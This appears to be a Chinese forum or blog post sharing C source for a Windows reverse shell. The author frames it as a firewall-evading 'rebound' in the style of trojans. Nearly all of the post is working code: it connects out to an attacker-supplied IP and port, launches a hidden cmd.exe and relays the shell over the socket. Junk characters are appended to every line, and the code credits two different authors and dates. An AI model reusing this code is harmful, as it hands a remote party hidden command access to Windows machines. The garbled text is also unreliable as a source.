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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2 <y!3OeN  
.r[kNh@ b%  
/* ============================== RbM`"wrZ  
Rebound port in Windows NT vdyLwBz:  
By wind,2006/7 dX^OV$  
===============================*/ =I-SQI8  
#include  :RBp  
#include y_;LTCj?  
t H`!?  
#pragma comment(lib,"wsock32.lib") k}(C.`.  
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void OutputShell(); "d^hY}Xx  
SOCKET sClient; i?.MD+f8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h%|Jkx!v-t  
+vY8HQ|v  
void main(int argc,char **argv) ]X ,f  
{ R/VrBiw  
WSADATA stWsaData; .BuXg<`  
int nRet; 1Y'9|+y+  
SOCKADDR_IN stSaiClient,stSaiServer; (&npr96f  
""|vhgP  
if(argc != 3) Y &6vTU  
{ ZaIlo5  
printf("Useage:\n\rRebound DestIP DestPort\n"); fo;Ftf0  
return; no~hYy W2  
} 5|._K(M  
mR\rK&'6  
WSAStartup(MAKEWORD(2,2),&stWsaData); @zSI@Oq_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vv8e"S  
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stSaiClient.sin_family = AF_INET; ?j6?KR@#  
stSaiClient.sin_port = htons(0); yj13>"nh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @*`9!K%  
=87.6Ai  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (,z0V+ !  
{ ckY,6e"6  
printf("Bind Socket Failed!\n"); I<PKwT/?  
return; -HutEbkjx  
} X458%)G!(K  
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stSaiServer.sin_family = AF_INET; %eW[`uyV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); A2LqBirkl  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wDJbax?  
TY6 D.ikA  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MBXja#(k  
{ wcDHx#~  
printf("Connect Error!"); )`<- c2  
return; )L fXb9}  
} %%5K%z,R#  
OutputShell(); +o^b ,!  
} A2.[P==  
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void OutputShell() Lx6C fR  
{ p^S]O\;M7  
char szBuff[1024]; |wW_Z!fL  
SECURITY_ATTRIBUTES stSecurityAttributes; 9)N/J\b  
OSVERSIONINFO stOsversionInfo; .hd<,\nW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; = zJY5@^'7  
STARTUPINFO stStartupInfo; VbQ9o  
char *szShell; }g6:9%ZMu  
PROCESS_INFORMATION stProcessInformation; A& u"NgJ  
unsigned long lBytesRead; CvDy;'{y1  
`3GC}u>}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~`-z"zM:p  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .b'hVOs{  
stSecurityAttributes.lpSecurityDescriptor = 0; #Q320}]{  
stSecurityAttributes.bInheritHandle = TRUE; DWT4D)C,U  
OJ0Dw*K<  
KFd !wZ @e  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7[aSP5e>T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k=L(C^VP  
:y#KR\T1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <7Igd6u  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rBG8.E36J  
stStartupInfo.wShowWindow = SW_HIDE; "uK`!{  
stStartupInfo.hStdInput = hReadPipe; N]qX^RSb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $42%H#  
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GetVersionEx(&stOsversionInfo); n u|paA  
57W4E{A  
switch(stOsversionInfo.dwPlatformId) MW&ww14  
{ O :P%gz4  
case 1: :"BZK5{8  
szShell = "command.com"; V-rzn171Q)  
break; 'fB/6[bd  
default: R?bF b|5t  
szShell = "cmd.exe"; &Xw{%Rg  
break; 5T]GyftFV  
} aDr46TB`J  
k\,01Y^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;;4xpg  
u`GzYG-L  
send(sClient,szMsg,77,0); GR&T Z   
while(1) -UgD  
{ pi`sx[T@{Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =+@IpXj  
if(lBytesRead) 5 \1C@d  
{ B1\@ n$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @#sBom+K`  
send(sClient,szBuff,lBytesRead,0); |4RuT .-o  
} 7k beAJ+{  
else ZLK@x.=  
{ XHq8p[F  
lBytesRead=recv(sClient,szBuff,1024,0); @H'pvFLK?  
if(lBytesRead<=0) break; pMJK?- )  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OG}auM4  
} cQj{[Wt4  
} '&~A  
sR%,l  
return; 8'c_&\kdv  
}
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